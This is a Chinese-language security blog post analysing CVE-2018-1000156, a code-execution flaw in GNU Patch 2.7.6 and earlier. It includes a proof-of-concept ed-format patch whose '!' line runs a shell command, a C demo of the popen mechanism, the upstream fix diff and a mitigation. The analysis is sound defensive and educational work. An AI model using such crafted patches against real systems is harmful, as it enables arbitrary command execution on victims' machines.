CVE-2018-1000156:GNU Patch任意代碼執行漏洞分析
來自專欄 ChaMd5安全團隊
漏洞背景
使用ed
格式並用!
開頭的補丁,會導致代碼執行
影響版本
GNU Patch 2.7.6及以下
(筆者下載了GNU Patch 2.7.1~6源碼編譯測試,都存在該問題)
GNU Patch 源碼下載地址:https://ftp.gnu.org/gnu/patch/
漏洞分析
Poc代碼
--- a 2018-13-37 13:37:37.000000000 +0100+++ b 2018-13-37 13:38:38.000000000 +01001337a1,112d!echo "pwn successfully!"
調試過程
gdb 設置參數運行:
set args test < ./poc.patch
b do_ed_script
漏洞成因
函數原型
FILE *popen(const char *command, const char *type);
如果type是"w"
則文件指針連接到command的標準輸入
,會將patch
的內容傳入/bin/ed/ - ./test.oUm4Sb5
的輸入中,test.oUm4Sb5
是之前make_tempfile
創建的臨時文件。
popen()
函數通過創建一個管道,調用fork()
產生一個子進程,執行一個shell以運行命令來開啟一個進程
啟動的進程為/bin/ed
,而!
在ed
編輯器中表示後面跟的是操作系統命令,從而導致代碼執行。
漏洞demo
#include <stdio.h>#include <stdlib.h> #include <string.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>int main(){ FILE *pipefp = 0; char *buf[200]; static FILE *pfp; sprintf(buf,"%s","/bin/ed - ./temp.txt"); fflush(stdout); pipefp = popen(buf,"w"); sprintf(buf,"%s","1337a
1,112d
!echo pwn successfully
"); fwrite(buf,1,200,pipefp); pclose(pipefp); return 0;}
popen處fork了父進程和子進程,父進程通過fwrite將運行的命令傳入管道,子進程此時打開了/bin/ed,接受了命令,並執行。
運行結果
補丁分析
diff --git a/src/pch.c b/src/pch.cindex bc6278c..f97a4dc 100644--- a/src/pch.c+++ b/src/pch.c@@ -33,6 +33,7 @@ # include <io.h> #endif #include <safe.h>+#include <sys/wait.h> #define INITHUNKMAX 125 /* initial dynamic allocation size */ @@ -2389,22 +2390,25 @@ do_ed_script (char const *inname, char const *outname, static char const editor_program[] = EDITOR_PROGRAM; file_offset beginning_of_this_line;- FILE *pipefp = 0; size_t chars_read;+ FILE *tmpfp = 0;+ char const *tmpname;+ int tmpfd, tmpfl;+ pid_t pid;++ if (! dry_run && ! skip_rest_of_patch)+ {+ /* Write ed script to a temporary file: this causes ed to abort on+ invalid commands. If we used a pipe instead, ed would continue+ after invalid commands. */+ tmpfd = make_tempfile (&tmpname, e, NULL, O_RDWR | O_BINARY, 0);+ if (tmpfd == -1)+ pfatal ("Cant create temporary file %s", quotearg (tmpname));+ tmpfp = fdopen (tmpfd, "w+b");+ if (! tmpfp)+ pfatal ("Cant open stream for file %s", quotearg (tmpname));+ } - if (! dry_run && ! skip_rest_of_patch) {- int exclusive = *outname_needs_removal ? 0 : O_EXCL;- assert (! inerrno);- *outname_needs_removal = true;- copy_file (inname, outname, 0, exclusive, instat.st_mode, true);- sprintf (buf, "%s %s%s", editor_program,- verbosity == VERBOSE ? "" : "- ",- outname);- fflush (stdout);- pipefp = popen(buf, binary_transput ? "wb" : "w");- if (!pipefp)- pfatal ("Cant open pipe to %s", quotearg (buf));- } for (;;) { char ed_command_letter; beginning_of_this_line = file_tell (pfp);@@ -2415,14 +2419,14 @@ do_ed_script (char const *inname, char const *outname, } ed_command_letter = get_ed_command_letter (buf); if (ed_command_letter) {- if (pipefp)- if (! fwrite (buf, sizeof *buf, chars_read, pipefp))+ if (tmpfp)+ if (! fwrite (buf, sizeof *buf, chars_read, tmpfp)) write_fatal (); if (ed_command_letter != d && ed_command_letter != s) { p_pass_comments_through = true; while ((chars_read = get_line ()) != 0) {- if (pipefp)- if (! fwrite (buf, sizeof *buf, chars_read, pipefp))+ if (tmpfp)+ if (! fwrite (buf, sizeof *buf, chars_read, tmpfp)) write_fatal (); if (chars_read == 2 && strEQ (buf, ".
")) break;@@ -2435,13 +2439,50 @@ do_ed_script (char const *inname, char const *outname, break; } }- if (!pipefp)+ if (!tmpfp) return;- if (fwrite ("w
q
", sizeof (char), (size_t) 4, pipefp) == 0- || fflush (pipefp) != 0)+ if (fwrite ("w
q
", sizeof (char), (size_t) 4, tmpfp) == 0+ || fflush (tmpfp) != 0) write_fatal ();- if (pclose (pipefp) != 0)- fatal ("%s FAILED", editor_program);++ if ((tmpfl = fcntl (tmpfd, F_GETFD)) == -1+ || fcntl (tmpfd, F_SETFD, tmpfl & ~FD_CLOEXEC) == -1)+ pfatal ("Cant clear close-on-exec flag of %s", quotearg (tmpname));++ if (lseek (tmpfd, 0, SEEK_SET) == -1)+ pfatal ("Cant rewind to the beginning of file %s", quotearg (tmpname));++ if (! dry_run && ! skip_rest_of_patch) {+ int exclusive = *outname_needs_removal ? 0 : O_EXCL;+ assert (! inerrno);+ *outname_needs_removal = true;+ copy_file (inname, outname, 0, exclusive, instat.st_mode, true);+ sprintf (buf, "%s %s%s", editor_program,+ verbosity == VERBOSE ? "" : "- ",+ outname);+ fflush (stdout);++ pid = fork();+ if (pid == -1)+ pfatal ("Cant fork");+ else if (pid == 0)+ {+ dup2 (tmpfd, 0);+ execl ("/bin/sh", "sh", "-c", buf, (char *) 0);+ _exit (2);+ }+ else+ {+ int wstatus;+ if (waitpid (pid, &wstatus, 0) == -1+ || ! WIFEXITED (wstatus)+ || WEXITSTATUS (wstatus) != 0)+ fatal ("%s FAILED", editor_program);+ }+ }++ fclose (tmpfp);+ safe_unlink (tmpname); if (ofp) {
補丁是創建了臨時文件來代替pipe操作,使用文件的方式會使得ed因為無效的命令而退出,而之前的pipe操作遇到無效的命令後會繼續執行。但popen的內部實現其實也是通過先fork,再dup2(fd,0),最後執行execl,補丁只是模擬了這一過程,並用文件的方式代替了管道操作。
其他緩解措施:以/bin/ed -r的形式啟動,而-r參數的含義是:
-r, –restricted run in restricted mode
運行在嚴格的模式下,它禁止從當前目錄編輯文件和執行shell命令。
參考鏈接
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000156
https://savannah.gnu.org/bugs/index.php?53566
https://www.ibm.com/support/knowledgecenter/zh/ssw_aix_71/com.ibm.aix.cmds2/ed.htm
好了
作為一個懶癌患者我終於完成了我對老m的承諾筆芯去耍了
??
推薦閱讀:
※開始寫點什麼
※隱式馬爾科夫鏈(HMM)學習筆記
※如何學習新技術?
※doge年第一更!CSAPP讀書筆記20180216